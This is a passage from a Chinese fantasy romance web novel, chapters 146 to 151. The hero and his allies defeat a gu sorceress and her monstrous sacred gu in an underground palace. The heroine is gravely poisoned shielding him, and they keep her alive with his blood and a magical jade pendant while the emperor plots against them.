林绾绾痛苦出声,心口如同被烙铁灼烧,身体不受控制地向前踉跄。
“绾绾!”
萧景珩发现林绾绾的不对劲,转身将她死死护在怀里。
精纯的玄冥寒气毫无保留地注入到林绾绾的心口,来缓解她的不适。
同时,萧景珩自身的双生火焰印记也在因这恐怖的吸力和对圣蛊本能的排斥而剧烈波动。
冰火之力在他体内疯狂对冲,经脉如同被撕裂一般。
“保护好圣女!”
赫连灼金刀怒指向祭坛,厉声咆哮!
他同样感受到那恐怖的吸力和邪恶气息。
琥珀色的眼眸里满是熊熊的战火。
“狼山卫!随我冲!砸碎那个鬼东西!”
“吼!”狼山卫精锐齐声怒吼,压下心头的恐惧,结成战阵,如同钢铁洪流般冲向祭坛!
血鸦卫不甘示弱,也紧随其后。
“哼!不自量力。”
蛊婆婆冷哼一声,眼中红光一闪,口中诡异的音节陡然高亢尖锐!
第146章 阿慕身死
祭坛上原本矗立不动的数百药人傀儡,在蛊婆婆的催动下,眼窝中瞬间亮起猩红光芒。
他们齐齐发出非人的吼叫,动作由僵硬变得迅捷而狂暴。
他们挥舞着畸变的肢体,带着浓烈的死气,迎向了冲锋而来的战士。
“杀!”
激烈的碰撞瞬间爆发!
白骨平台上,刀光剑影,血肉横飞!
狼山卫的怒吼,血鸦卫的厉喝,药人傀儡的嘶嚎,兵刃撞击骨骼的脆响…
混合着那个大肉瘤越来越急促的“咚咚”响...
构成了一曲地狱的死亡乐章!
赫连灼金刀挥舞,刀气纵横!
每一刀都带着开山裂石的力量,将扑来的药人傀儡劈飞斩碎。
但他很快发现,这些药人傀儡的数量实在太多,而且似乎受到祭坛力量的加持,悍不畏死,前赴后继。
狼山卫和血鸦卫虽然勇猛,但是每进一步都要付出惨重的代价!
不断有战士被药人畸变的利爪洞穿胸膛,被骨刃斩断肢体,惨叫着倒下!
“这样不是办法!数量太多了!”
赫连灼一刀劈碎一个药人的头颅,溅了一身的污血。
他对着萧景珩的方向怒吼:“必须想办法打断那老怪物施法,或者毁掉祭坛!”
萧景珩抱着林绾绾,一边全力压制她心口的躁动和自身冰火对冲的痛苦,一边冷眼扫视着混乱的战场以及祭坛中心的蛊婆婆阿慕。
此刻的蛊婆婆,正全神贯注地操控着诡异的音节,维持着对药人傀儡军团的狂暴指令和对圣蛊的催动。
“赫连灼,掩护我!”
萧景珩当机立断,对着赫连灼的方向大喊一声。
他将怀中虚弱的林绾绾推向旁边持盾守护的青蚨,“护好她!”
话音刚落,他的身影已如同一道撕裂黑暗的黑色闪电,朝着蛊婆婆的方向飞去。
宝剑出鞘!
狭长的剑身爆发出刺骨的寒芒和凌厉的杀意,直取蛊婆婆后心。
“拦住他!”
蛊婆婆显然也觉察到了危险,口中音节不停,却分神厉喝。
围绕在她身边的十几个明显更加高大强壮的药人傀儡,眼中红光大盛,悍然扑向袭来的萧景珩。
它们的利爪和骨刃撕裂空气,封死了萧景珩所有前进的路线。
赫连灼见状,猛地将金刀插入地面,反手摘下背后强弓。
弓如满月,三支特制的、缠绕着浸满火油的破甲箭瞬间搭上弓弦。
箭镞在幽绿磷火下闪烁着致命的寒气。
“咻!咻!咻!”
三道撕裂空气的厉啸几乎同时响起。
箭矢如同流星赶月。
它们并非射向蛊婆婆周围的药人傀儡,而是精准地射在傀儡脚下支撑平台的白骨连接处。
“轰轰轰!”
浸满火油的箭镞在撞击地面的瞬间爆燃。
炽热的火焰瞬间吞没了白骨连击点。
“咔嚓!咔嚓!”
断裂声接连响起。
萧景珩前方平台的大片区域,在火焰的焚烧和重箭的冲击下,轰然塌陷。
那几个扑来的药人傀儡猝不及防,随着断裂的白骨碎片,惨叫着坠入了下方深不见底的黑色水潭。
随着几圈微弱的涟漪,便无声无息地被粘稠的黑色潭水吞没。
通路打开!
萧景珩的身影没有丝毫停顿,甚至借助坍塌的冲击力,速度更快了一分。
剑尖注入了力量,带着斩断一切的决绝,再次直刺蛊婆婆后心!
蛊婆婆眼中闪过惊怒。
她中断了音阶的操控,转身时,周身萦绕起一层如红雾一般的蛊虫护盾。
“铛!”
剑身狠狠斩在护盾之上,一股巨大的反震之力传来。
那层蛊虫护盾的坚韧程度远超萧景珩想象。
而蛊婆婆也被这蕴含了玄冥寒气和滔天恨意的一剑震得气血翻涌,护盾剧烈波动。
脚下踉跄后退数步,差点踩空掉入水潭。
“玄冥寒毒?不过如此!”
蛊婆婆稳住身形,嘴角溢出鲜血,眼中却凶光更盛。
她眼中带着贪婪,“正好!你既然直接送上门,倒省了我抓你的功夫!”
说罢,猛地抬手,掌心暗红光芒凝聚,带着浓烈的邪异气息,狠狠拍向近在咫尺的萧景珩。
“小心!”
林绾绾的惊呼带着撕心裂肺的痛楚。
她不顾青蚨的阻拦,强行催动体内所剩不多的冰火之力,指间三枚九转玲珑针化作玉色流光。
三枚金针并非射向蛊婆婆,而是精准无比地射向萧景珩后背督脉上的三处大穴——
灵台、神道、身柱!
“灵台醒神!神道强心!身柱通脉!”
三针齐刺,一股带着强大疏导之力的冰火之气瞬间注入萧景珩体内。
如同在决堤的洪流之中开辟了一条新的通道,强行疏导了萧景珩体内因恨意和寒气暴走紊乱的气息,激发了他瞬间的潜能!
萧景珩只觉一股暖流从后背涌入,瞬间驱散了手臂的麻痹!
他借着这股外力,身体以一个不可思议的角度扭转。
剑身由劈转撩,剑锋划过一道诡异的弧度,险之又险地隔开了蛊婆婆拍来的手掌。
同时,他灌注了全部力量的左腿,带着凌厉的玄冥寒气,如同钢鞭般狠狠踢向蛊婆婆的侧腰。
那里是萧景珩通过观察,发现蛊虫护盾流转相对薄弱之处。
腿骨与暗红护盾再次碰撞!
这一次,护盾波动得更为剧烈,发出不堪重负的呻吟。
蛊婆婆闷哼一声,被巨大的力量踢得再次踉跄后退!
这一次,她的脚彻底踏空,整个人向水潭深处坠落下去!
她仅存的左手枯爪不知何时握了一柄幽蓝的骨匕,带着同归于尽的疯狂,狠狠掷向了萧景珩。
时机刁钻狠辣!
萧景珩回剑格挡已然不及!
“噗嗤!”
一声利刃如肉的闷响,鲜血飞溅!
然而受伤的并非萧景珩!
一道素白的身影早在发现蛊婆婆阿慕的动向,就如同飞蛾扑火般挡在了萧景珩与那淬毒的骨匕之间!
是林绾绾!
淬毒的骨匕狠狠刺入了她左侧肩胛骨下方,幽蓝的毒素迅速沿着伤口蔓延。
“我的毒无解!小贱人,我们一起死吧!”
蛊婆婆看着中了剧毒的林绾绾,心满意足地被幽暗的潭水淹没。
第147章 圣女重伤
随着蛊婆婆沉入水潭,整个药人傀儡军团瞬间失去了活动的能力,再次僵在原地。
众人也都松了一口气。
而萧景珩看着倒在自己怀中奄奄一息的林绾绾,眼中的寒意越聚越深。
他转身将林绾绾交给青蚨,目光死死锁定了祭坛顶端那蠕动的大肉瘤。
他一步一步,踏着焦黑的白骨,朝着散发着无尽邪恶的罪恶之源走去。
每一步落下,脚下的白骨平台都发出不堪重负的呻吟和碎裂声。
那肉瘤仿佛是感受到了致命的威胁,豁口中的暗金色熔岩剧烈翻涌,里面的心跳声如同密集的鼓点,响得越来越剧烈。
“这长生,该结束了!”
冰冷的宣告,如同死神的低语。
萧景珩手中的剑缠绕着冰蓝寒气,带着毁灭一切的气势,势要撕裂地宫浓稠的黑暗。
全身力量灌注,斩向祭坛顶端那蠕动的、散发着滔天邪恶的肉瘤。
剑锋未至,那冰火交织、狂暴到极致的恐怖气浪已然先行。
一半是焚尽八荒的炽烈,一半是冻结灵魂的酷寒。
肉瘤似乎是感受到了危险,内里那如同熔岩般翻涌的暗金色液体开始剧烈沸腾、蒸发。
表面虬结的紫黑色血管如同被投入滚油的活蛇,疯狂扭曲、爆裂。
饮过无数仇寇鲜血的宝剑,承载着萧景珩滔天的恨意、焚天的怒火、以及对林绾绾濒死的极致恐惧狠狠劈向罪恶的本体。
粘稠腥臭的汁液四溅。
“噗--!”
一声沉闷的巨响。
暗金色的“熔岩”融合着紫黑色的污血、破碎的血管组织、以及无数细小的、仍在蠕动的黑色虫卵,如同决堤的洪流,从巨大的伤口中喷溅而出。
整个祭坛顶端瞬间被腥臭污秽的液体淹没。
“呃啊——!”
蜷缩在肉瘤内的圣蛊本体发出了尖锐到刺穿耳膜的痛苦嘶鸣,如同心脏搏动的“咚咚”声开始紊乱、衰竭。
圣蛊本体原本紧闭的双眼猛地睁开。
那双眼睛没有眼白,只有一片吞噬光线的、纯粹的漆黑。
而漆黑深处,两点猩红的光芒如同地狱的烛火,死死锁定在挥剑的萧景珩身上。
两道凝练到极致的暗红视线,瞬间穿透了混乱的场面,**向萧景珩的身上。
“小心!”
“阁主!”
周围的人的惊呼声中带着绝望。
萧景珩刚刚斩出的那一剑已经超越了身体的极限。
旧力已竭,新力未生。
冰火交融的恐怖力量,正在体内疯狂的对冲反噬,经脉更是如同寸寸断裂一般。
面对着索命的视线,萧景珩甚至连抬手的力气都没有,只能眼睁睁看着那毁灭的光离他越来越近。
死亡的阴影,瞬间笼罩。
“移花接木!转!”
一声虚弱却无比清晰的清叱,如同黑暗中破晓的晨光,骤然响起。
是林绾绾!
她被青蚨扶着,靠在冰冷的白骨柱旁。
脸色灰白如金纸,嘴唇乌紫,肩头的毒素已蔓延至锁骨,生命之火如同风中残烛。
然而,她的眼神却亮得惊人,带着不惜燃尽一切的决绝。
她用尽全身最后一丝气力,将一直贴身收藏着的两枚金昙同心佩合在了一起!
双佩合一!
玉佩严丝合缝的瞬间,核心那如同呼吸般的金色流光骤然爆发出前所未有的璀璨光芒。
一股温和、浩瀚、带着古老神圣气息的力量瞬间扩散开来。
玉佩边缘,那莲花形状的纹路仿佛活了过来,花瓣层层绽放。
与此同时,林绾绾指间最后三枚九转玲珑针刺入自己心口的三处大穴。
针尖刺入身体同时,林绾绾喷出一口黑色污血,身体剧烈颤抖,仿佛生命在下一刻就要彻底崩解。
“绾绾,不要!”
萧景珩心下不安,虽然不知道林绾绾想干什么,但却知道刺激心口三处大穴,可以瞬间提升人体最大的力量。
“合则生,分则亡...”
林绾绾看着合二为一的金昙同心佩,染血的唇角竟勾起一丝释然的笑意。
其实在太后说出这句话之后,她就查询过《天医策》中的相关秘史,发现
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了转移伤害的秘法。
而转移的媒介就是用圣湖冰魄制成的金昙同心佩。
她微弱的声音穿透混乱,直直地看向萧景珩,眼中是对生死的释然和对男人的不舍,“这次,换我...护你...”
以身为媒,以命为引,转移伤害!
她要用这禁术为萧景珩挡下这致命的一击。
原本射向萧景珩眉心的视线,在距离他仅有寸许之遥时,仿佛被一股无形的,沛然莫御的力量强行扭转了轨迹,猛地折向林绾绾的方向。
“嗡--!”
一声奇异的,如同洪钟般的嗡鸣响彻地宫。
金昙同心佩爆发的金色光芒与那两道毁灭性的视线狠狠撞在一起!
没有惊天动地的**,只有光芒的剧烈湮灭与吞噬。
玉佩发出不堪重负的“咔嚓”声,表面瞬间布满了蛛网般的裂痕。
圣蛊的力量太过恐怖,虽被神圣的金光消融大半,但反扑的力量依旧不容小觑。
残余的视线力量穿透了金光的阻隔,狠狠轰击在林绾绾的心口。
“呃--!”
林绾绾的身体如同被无形的巨锤击中,猛地向后倒飞出去。
合二为一的玉佩差点脱手飞出。
心口的三枚金针瞬间被震飞。
火焰印记的位置,皮肤焦黑龟裂。
一个深可见骨的恐怖伤口赫然出现。
残余的毁灭力量混合着蛊婆婆留在她身上的剧毒,如同最恶毒的诅咒,疯狂侵蚀着她的心脉。
鲜血如同喷泉般从林绾绾口中、心口的伤口处狂涌而出。
她的身体也如同破碎的瓷器般,重重砸落在冰冷坚硬的白骨平台上,气息微弱到几乎消失。
“绾绾——!”
萧景珩的吼声撕心裂肺,带着毁天灭地的绝望。
亲眼目睹爱人为自己承受这致命的一击,比他自己遭受千刀万剐更痛!
体内因冰火力量对冲而撕裂的剧痛,在这一刻被无边的恐惧和暴怒彻底碾碎。
一股更加狂霸,更加不受控制的力量,如同沉睡的火山,在萧景珩体内轰然爆发!
第148章 摧毁地宫
以萧景珩为中心,狂暴的冰火气浪呈环形猛地炸开。
这一次,不再是泾渭分明的冰霜与烈焰,而是彻底交融、毁灭一切的混沌风暴。
白骨平台大片大片的崩塌、粉碎。
祭坛顶端,那遭受重创的圣蛊肉瘤,在这毁天灭地的风暴冲击下,如同被投入熔炉的雪球。
在发出最后一声凄厉绝望的悲鸣,轰然炸裂!
无数污秽的血肉和破碎的虫卵如同暴雨般倾泻而下。
整个地宫开始剧烈摇晃,穹顶的岩石如同暴雨般砸落。
支撑平台的巨大白骨立柱发出不堪重负的呻吟,断裂倒塌。
深潭的黑水剧烈翻腾,掀起恶臭的浪涛。
圣蛊毁灭带来的能力失衡,加上萧景珩失控爆发的毁灭风暴,彻底引发了连锁反应。
“地宫要塌了!快撤!”
青蚨脸色剧变,不顾伤口的伤痛,奋力背起昏迷不醒、气息微弱如游丝的林绾绾,朝着来时的甬道方向狂奔。
赫连灼看了一眼崩塌的地宫和昏迷的林绾绾,指挥着残存的狼山卫和血鸦卫,也朝着甬道口而去。
混乱中,谁也没有注意到,深潭那翻腾的黑色水面下,被巨大力量压出的凹坑深处,似乎有什么东西蠕动了一下,随即又被粘稠的黑水彻底淹没。
萧景珩站在崩塌的祭坛废墟上,周身狂暴的冰火风暴缓缓平息。
他赤红的双眼死死锁定在青蚨背上那道染血的身影上。
身形一闪,瞬间出现在青蚨身边,一把将林绾绾冰冷软绵的身体夺入怀中。
林绾绾此刻的身体轻得像一片羽毛,心口那焦黑恐怖的伤口汩汩冒着鲜血,毒素的纹路盘踞在伤口周围,触目惊心。
“绾绾,撑住...求你...”
萧景珩的声音沙哑破碎,带着从未有过的恐惧和哀求。
他紧紧抱着林绾绾,将玄冥寒气源源不断地渡入林绾绾体内,护住她即将熄灭的心脉之火。
同时疯狂压榨着体内所剩无几的力量,朝着甬道入口的方向狂奔。
******
皇陵外,血鸦阁据点。
山庄内灯火通明,却弥漫着一股浓重的绝望气息。
山庄最深处,那间引天然泉水注入的静室内,水汽氤氲,却驱不散刺骨的寒意。
林绾绾整个人浸泡在温热的泉水中,只露出肩膀以上位置。
水面漂浮着比以往更加浓烈、种类繁多的药材。
而她双目紧闭,长长的睫毛上凝结着细小的水珠,嘴唇乌紫,脸色是**般的灰败。
心口处那个恐怖的伤口虽然已经被清洗,敷上了厚厚的药膏,并用特制的绷带紧紧包扎,但绷带边缘依旧有诡异的纹路透出。
毒素如同跗骨之蛆,仍在缓慢地侵蚀着林绾绾的生机。
她的呼吸微弱,每一次吸气都仿佛用尽了全身力气。
萧景珩同样浸泡在温泉池中。
他背靠着池壁,将林绾绾紧紧抱在怀中,让她靠在自己坚实的胸膛上。
他的脸色苍白如雪,眉宇间是化不开的疲惫和刻骨的担忧。
薄唇紧抿,下颌线绷得如同刀锋。
他一手环着林绾绾的腰,一手始终按在她后心至阳穴的位置。
精纯温和的气息毫不停歇地渡入到林绾绾体内,强行压制着那霸道的毒素,维持着她那微弱的如同风中残烛的生命之火。
温热的泉水带着强大的药力,滋养着两人的身体,缓解着伤痛和反噬。
青蚨肃立在池边,脸色凝重。
她身上的伤口已经处理过了,但眼神深处依旧带着深深的忧虑。
赫连灼则焦躁地在池边踱步,琥珀色的眼眸布满血丝,金刀被他攥得咯咯作响。
血鸦阁内医术最高明的医官们垂手侍立在一旁,额头冷汗涔涔,大气都不敢出。
他们已经竭尽全力,用尽了据点和血鸦阁渊阁内所有珍稀的药材。
但蛊婆婆的毒混合了圣蛊毁灭力量的侵蚀,实在太过诡异霸道,非药石可医!
他们只能眼睁睁看着圣女的生命力一点点流逝。
“废物!一群废物!”
赫连灼停住脚步,对着医官
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们怒吼。
“再想,再给本狼主想!只要你们能说出来,北漠的药材库随你们取用!圣女要是有什么三长两短,本狼主要你们全都陪葬!”
医官们闻言更是浑身颤抖。
“够了!”
萧景珩冰冷的声音响起,带着一种压抑到极致的疲惫。
他的目光始终停留在怀中人儿灰败的脸上,指腹小心翼翼拂过她冰冷的唇角,仿佛在触碰一件随时会破裂的稀世珍宝。
赫连灼看着萧景珩那副全天下只剩下林绾绾的模样,心头那股憋屈的邪火更加炽烈。
但看着林绾绾毫无生气的容颜,终究是压了下去。
他烦躁地挥挥手,让医官们都退了出去。
温泉静室内只剩下四人。
水汽氤氲,寂静无声。
只有温泉水流动的潺潺声和林绾绾微弱的几乎听不见的呼吸声。
“圣女的毒真的无解吗?”
青蚨的声音带着一丝不易察觉的颤抖,打破了死寂。
她看着林绾绾心口的绷带处渗出的黑色血液,心如刀绞。
“老妖妇临死前...是这么说的!”
赫连灼的声音低沉沙哑,带着浓浓的无力感和愤怒。
“那老妖妇亲自炼制的剧毒...再加上祭坛上那个怪物的致命一击...”
他没有再说下去,但意思已经很明显。
萧景珩的身体几不可察地僵了一下,环抱着林绾绾的手臂收得更紧,仿佛要将她揉进自己的骨血。
他低下头,将脸埋进林绾绾冰冷濡湿的发间,贪婪地汲取着她身上熟悉的、如今却微弱得几乎消失的淡淡药香。
恐惧和绝望如同冰冷的毒蛇,再次紧紧缠绕上他的心脏,几乎让他窒息。
“不...不会的...”
萧景珩喃喃自语,声音沙哑破碎,带着从未有过的脆弱。
“你说过...要一起踏平地狱...要一起掀翻血海滔天的...你答应我的...”
一滴滚烫的液体,滴落在林绾绾冰冷的额角,瞬间融入氤氲的水汽中。
第149章 救护圣女
赫连灼看着眼前这一幕,心头很不是滋味。
他烦躁地抓了抓头发,眼眸直直望向萧景珩,语气中带着压抑的焦灼。
“当务之急,咱们还是找解药!虽然那个老妖妇**,但是她的老巢或许还有线索!蛊毒之术,必有相生相克之物!”
“还有那个金昙同心佩...玉佩合二为一时爆发的力量,能抵挡那个怪物的攻击,或许...”
提到玉佩,萧景珩猛地抬起头。
赤红的眼中闪过一丝亮光。
他想起林绾绾在地宫内的最后关头,将玉佩合二为一。
还有那金光!它能消融那大部分恐怖的能量。
玉佩!
那或许就是目前唯一的希望!
“玉佩在哪?”
萧景珩的声音里满是急迫。
青蚨上前一步,小心翼翼地从旁边一个铺着锦缎的托盘上,拿起那两枚布满蛛网般裂痕的金昙同心佩。
玉佩表面的光芒早就已经暗淡,核心处流淌的金色流光也变得极其微弱,仿佛下一刻就会熄灭。
但两枚玉佩此刻严丝合缝地合在一起,边缘的莲花纹路依旧清晰。
“在这里。只是...裂纹太多,能量似乎是耗尽了。”
青蚨边说着,将玉佩递过去。
萧景珩小心翼翼接过玉佩。
玉佩湿凉。
入手刹那,萧景珩还是能清晰感受到内里那微弱、却依旧存在的奇异能量波动。
他尝试着,将玄冥寒气渡入玉佩内。
嗡...
玉佩微微一颤,核心处那暗淡的金色流光极其微弱地闪烁了一下,随即又沉寂了下去。
内里的能量仿佛到了油尽灯枯的时刻,对外部的呼唤只有一丝微弱的回应。
“能量...需要大量的能量补充...”
萧景珩眉头紧锁看着玉佩,又低头看向怀中气息愈发微弱的林绾绾。
他体内的力量因反噬而十不存一,若强行灌注,未必有效,还可能伤及玉佩本源。
“或许...用血试试?”
赫连灼突然开口,琥珀色的眼眸紧紧盯着玉佩。
“这玉佩既是金昙王庭的圣物制成,或许北漠王庭人的血能有用...我...”
还未等赫连灼将话说完,萧景珩猛地并指如刀,划破自己的手腕。
殷红的鲜血瞬间涌出!
他将手腕凑到合二为一的玉佩上方,让温热的鲜血滴落在那些蛛网般的裂痕上。
一滴,两滴...
鲜血顺着裂痕流淌,渗入玉佩深处。
然而,玉佩毫无反应,暗淡的金光没有一丝增强的迹象。
“没用?”赫连灼的心沉了下去。
“咳咳...咳...”
萧景珩怀中的林绾绾突然发出一阵虚弱至极的咳嗽,长长的睫毛剧烈颤抖起来。
她仿佛用尽了全身的力气,才勉强挣开一条缝隙。
眼神涣散,没有焦距,灰败的脸上浮现出一丝不正常的潮红。
“绾绾!”
赫连灼和萧景珩同时惊呼,心瞬间提到嗓子眼。
“疼...好疼...”
林绾绾的声音微弱得如同蚊蚋,身体剧烈颤抖,牙齿也在咯咯作响。
心口绷带下,毒素纹路再次蔓延。
萧景珩反应极快,立刻将更多的玄冥寒气渡入林绾绾体内。
然而这一次,那毒素仿佛变得更加狡猾和凶猛。
寒气所过之处,毒素虽然被暂时压制,但很快又如同洪水般再次从其他经脉处反扑上来。
甚至开始反过来侵蚀萧景珩渡入的寒气。
林绾绾的身体在极寒与毒素的肆虐下,颤抖得更加剧烈,灰败的脸色中透出一种诡异的青紫。
“不行!毒素在吞噬你的寒气!变得更加活跃了!”
赫连灼在一旁看得心惊肉跳,琥珀色的眼眸充满了焦急,“这样下去只会加速...”
他的话还没说完,林绾绾的身体猛地一僵。
一口浓烈的黑血狂喷而出,尽数喷溅在萧景珩的胸口和那枚被他紧紧握在手中的金昙同心佩上。
“绾绾!”萧景珩肝胆俱裂。
奇迹,在这一刻发生了。
沾染了林绾绾毒血的玉佩,核心处那原本黯淡到几乎熄灭的金色流光,如同被投入滚油的火星,猛地爆发出一点极其刺目的光芒。
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>玉佩表面的蛛网状裂痕,在接触到那混合了林绾绾毒素的血液时,如同活物般,开始慢慢蠕动、弥合!
虽然速度极慢,但那黯淡的金光,确实以肉眼可见的速度变得明亮且稳定起来。
一股微弱却带着勃勃生机的暖意,从玉佩中散发出来,顺着萧景珩握着玉佩的手,流入他的体内。
“绾绾的血...她的血可以激活玉佩。”
赫连灼眼中爆发出狂喜的光芒。
萧景珩也瞬间明白了。
他不再犹豫,一手紧紧握着那枚正被林绾绾修复、光芒渐盛的玉佩,另一只再次划破自己的手腕。
这一次,他没有让血流向玉佩,而是将自己伤口紧紧贴在了林绾绾心口的伤口肌肤上。
“以我之血...引我之寒...渡尔生机...”
萧景色心中默念着最虔诚的话语,同时将体内所剩无几的玄冥寒气,混合着自己的鲜血,透过伤口接触,源源不断地渡入林绾绾冰冷的心脉深处。
冰与血,带着他生命的本源力量,温柔而坚定地涌入。
玉佩的金色光芒,在两人相连的伤口处流转,如同温暖的丝线,将两种截然不同的力量奇妙地调和、引导。
转机终于出现了。
林绾绾心口肆虐的毒气,在玄冥寒气与玉佩力量的双重压制和引导下,蔓延的速度开始减缓。
林绾绾原本微弱的呼吸,稍稍平稳了一丝丝。
虽然依旧微弱,但那股随时会熄灭的感觉,被强行稳住了一点。
“真的有效!”
青蚨激动的声音发颤。
赫连灼也长长松了一口气,紧绷的神经稍稍放松。
但看着萧景珩那因失血和力量透支而摇摇欲坠的身体,眉头又紧紧皱了起来。
“这样下去不行!你的血和力量也不是无穷无尽的!必须尽快找到解决绾绾身上毒素的办法!”
“办法...”
萧景珩抱着怀中似乎多了一丝微弱生机的身体,赤红的眼眸中燃烧着不顾一切的火焰,声音沙哑却斩钉截铁。
“会有的!就算踏遍九幽黄泉,翻遍天下医术,我也一定会找到!”
第150章 寒泉续命
时间在压抑的等待与无声的疗伤中缓慢流淌。
池中的汤药换了一茬又一岔。
水汽蒸腾,带着浓郁的生机,也带着沉重的绝望。
萧景珩维持着输送力量的姿势,如同一尊冰冷的石雕。
他将自身的精血与力量源源不断地传输给怀中的人。
萧景珩的脸色越来越白。
他的嘴唇失去了所有血色,额角渗出的细密冷汗顺着紧绷的下颌线滑落,滴入池水中消失不见。
与其说是在渡气,不如说是抽取了他自己的生命本源输送给林绾绾。
但萧景珩眼中的火焰却从未熄灭,反而因为这份孤注一掷的守护而燃烧得更加炽烈。
赫连灼焦躁地在池边踱步。
最终停在离池边几步远的地方,眼眸复杂地凝视着池中相拥的两人。
他看着萧景珩不顾一切的姿态,看着他眼中那份连死亡都无法撼动的执着。
心头原来那股憋屈的酸涩感竟奇异地被一种沉重的敬意所取代。
赫连灼不得不承认,这个他视为情敌、戒备提防的男人,对绾绾的用情之深,远非他所能及。
青蚨则默默守在一旁,时刻关注着林绾绾的状态,也警惕着萧景珩的情况。
她看到萧景珩手腕伤口,那里因持续失血而显得苍白翻卷。
她悄悄取来止血生肌膏和温补元气的参汤,无声地放在池边、萧景珩触手可及的地方。
不知过了多久,也许是一个时辰,也许是两个时辰。
萧景珩紧握玉佩的手,突然感到一阵微弱的、如同心跳般的搏动感。
他精神一振,低头看去。
只见那枚金昙同心佩核心的金色流光,比之前稳定明亮了许多。
虽然还有裂痕,但弥合的趋势似乎更明显了一些。
更奇妙的是,玉佩散发出的那股温暖生命能量,顺着他的手流入体内后,竟与他心内渡出的寒气形成了一种微妙的循环。
能量似乎在反哺着他枯竭的身体,减轻了他透支的痛苦。
就在这时,他怀中一直冰冷如霜的林绾绾,身体又动了!
不是颤抖,而是一种无意识的、细微的蜷缩。
似乎身体在寻找热源。
林绾绾的眉头似乎舒展了一丝,灰白的脸色中,那曾气死沉沉的青紫悄然褪去了一些。
这细微的变化,如同投入死水中的石子,瞬间在萧景珩心中激起滔天巨浪。
他眼中满是狂喜的光芒,下意识地收紧了怀抱着林绾绾的手臂。
声音更是透着小心翼翼的颤抖。
“绾绾?绾绾,你听得到吗?”
一旁的赫连灼和青蚨也立刻屏住了呼吸,紧张地注视着二人。
然而,林绾绾并未醒来。
她只是在温暖的怀抱和持续渡入的生命能量中,似乎陷入了一种更深沉、也更安慰的昏睡状态。
呼吸虽然依旧微弱,却变得悠长平稳,不再像之前那样仿佛随时会停止一般。
“圣女的脉象…稳住了!”
青蚨迅速上前一步,手指隔着水面虚按在林绾绾露出的手腕上片刻,惊喜地惊呼出声。
“心脉被护住了!阁主!玉佩和您的血…真的有效!”
巨大的狂喜如同洪流,瞬间冲垮了萧景珩强撑的堤坝。
紧绷到极致的神经骤然放松,随之而来的是排山倒海般的虚弱和眩晕。
他身体猛地一晃,眼前阵阵发黑,抱着林绾绾的手几乎脱力。
“小心!”
赫连灼反应极快,一个箭步上前,下意识就要伸手去扶萧景珩。
“别碰她!”
萧景珩几乎是本能地厉喝出声。
即便真的是虚弱的摇摇欲坠,他抱着林绾绾的手臂却如同铁箍般没有丝毫松动。
赤红的眼眸带着野兽护食般的警惕和冰冷,狠狠刺向赫连灼伸过来的手。
那眼神中的占有欲和排斥,赤裸裸的毫不掩饰。
赫连灼的手僵在半空,脸色瞬间变得极其难看。
琥珀色的眼眸中怒火升腾。
但看着萧景珩怀中依旧昏迷不醒的林绾绾,以及萧景珩自己摇摇欲坠却依旧强撑的模样,冰冷的怒火又硬生生被压了下去。
“萧景珩,你当本狼主是什
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么人?趁人之危的小人吗?本狼主只是怕你栽进水里淹死,连累了绾绾。”
话虽如此,赫连灼还是收回了手,退后一步,抱臂冷冷地看着。
萧景珩没有理会赫连灼的讥讽。
他深吸一口气,强行压下翻腾的气血和眩晕感,小心翼翼地将林绾绾在怀中调整了一个更安稳的姿势,让她能更舒适地靠着自己。
他的动作极尽轻柔,仿佛捧着易碎的珍宝。
做完这一切,他才抬起眼,看向赫连灼。
“赫连灼,你身为北漠狼主,你的金昙圣库里收藏了天下奇珍。关于绾绾身上的毒还有那个玉佩,可有更详细的记载?”
“这同心佩既然是用你金昙圣湖里的冰魄源晶为材料制成,肯定会有什么说法!”
萧景珩直接点明核心。
现在任何一丝线索都可能是救命的稻草。
赫连灼眉头紧缩,眼眸中闪过思索的光芒。
他想了半天,沉声道:“圣库浩瀚,典籍如烟海。阿慕是王庭叛徒,她的毒术是离经叛道后自行钻研的邪路,未必有记载。”
赫连灼顿了顿,看了一眼萧景珩怀中的林绾绾,以及他手中那枚开始散发着温润金光的玉佩。
“不过,玉佩既能引动力量压制毒素,或许…那毒的真正解法就在玉佩本身!”
他走近池边,目光扫过玉佩上隐约可见的裂痕。
“我曾经听大长老说过,若以至阴至寒与至阳至烈的本源为引,辅以特殊的媒介,引导**者体内能量达成一种危险的平衡,毒素就能被转化吸收。”
“但这只是个传说。而且大长老也说过,这过程凶险万分,稍有不慎,施救者和**者皆会万劫不复!”
“至阴至寒?至阳至烈?”
萧景珩低声重复这几个词语,眼眸中光芒闪烁。
至阴至寒…
他体内的玄冥寒毒本源!
至阳至烈…
绾绾的圣血!
那媒介,应该就是金昙同心佩!
这传说,与此刻他们正在做的事情何其相似!
难道…冥冥中自有指引?
第151章 暗涌惊心
就在萧景珩沉浸在震惊中时,寒鸦的声音在温泉静室外响起。
“阁主!山庄外围暗哨传来密报,皇城方向有异动!”
一句话,瞬间将几人思绪拉回残酷的现实。
萧景珩眼神变得锐利。
即使虚弱,那属于血鸦阁主的森冷威压瞬间弥漫开来:“说!”
“皇帝自得知皇陵坍塌后便‘重病’不起,深居养心殿。殿外由太监总管高德胜把守,任何人不得探视。送进去的奏章也是全由高德胜代批。”
寒鸦语速极快,但条理清晰。
“半个时辰前,养心殿突然传出旨意,着令京畿卫率五百精锐护送钦天监监正及其三名心腹弟子前往圣女别苑。美其名曰‘为圣女祈福消灾,勘测风水,以佑圣体安康’!”
“圣女别苑?!”
赫连灼闻言,握紧手中金刀,“皇帝老儿想干什么?趁虚而入,还是栽赃嫁祸?”
萧景珩的眼底则是迅速结满了寒冰。
皇帝此举,用意简直是歹毒至极!
一来,可以名正言顺地进入绾绾的居所搜查,寻找可能存在的、关于他长生阴谋的证据并销毁。
二来,五百精锐名为护送,实为监视甚至软禁,就是想切断别苑与外界的联系。
三来,钦天监…哼!
当初就是钦天监指认绾绾为“荧惑妖星”!
皇帝此刻派他们去“祈福消灾”,根本就是黄鼠狼给鸡拜年。
极有可能是想借“祈福”之名,暗中施展某种阴毒的计策,彻底断绝绾绾苏醒的可能。
甚至…是想探查金昙同心佩的下落!
“好一个‘祈福消灾’!好一个道貌岸然的**子!”
赫连灼怒极反笑,眼中更是杀机凛冽。
“他以为他躲在乌龟壳里装病,再派出几条狗来乱吠,就能为所欲为了?做梦!本狼主现在就带狼山卫去圣女别苑,去‘迎接’钦天监那群神棍!看看他们有几条命够本狼主砍!”
“慢着!”
萧景珩的声音响起,带着掌控全局的沉稳。
“赫连灼,你此刻若是带兵公然拦截钦天监,等于直接跟皇帝撕破脸,给了皇帝调动大军围剿的借口。”
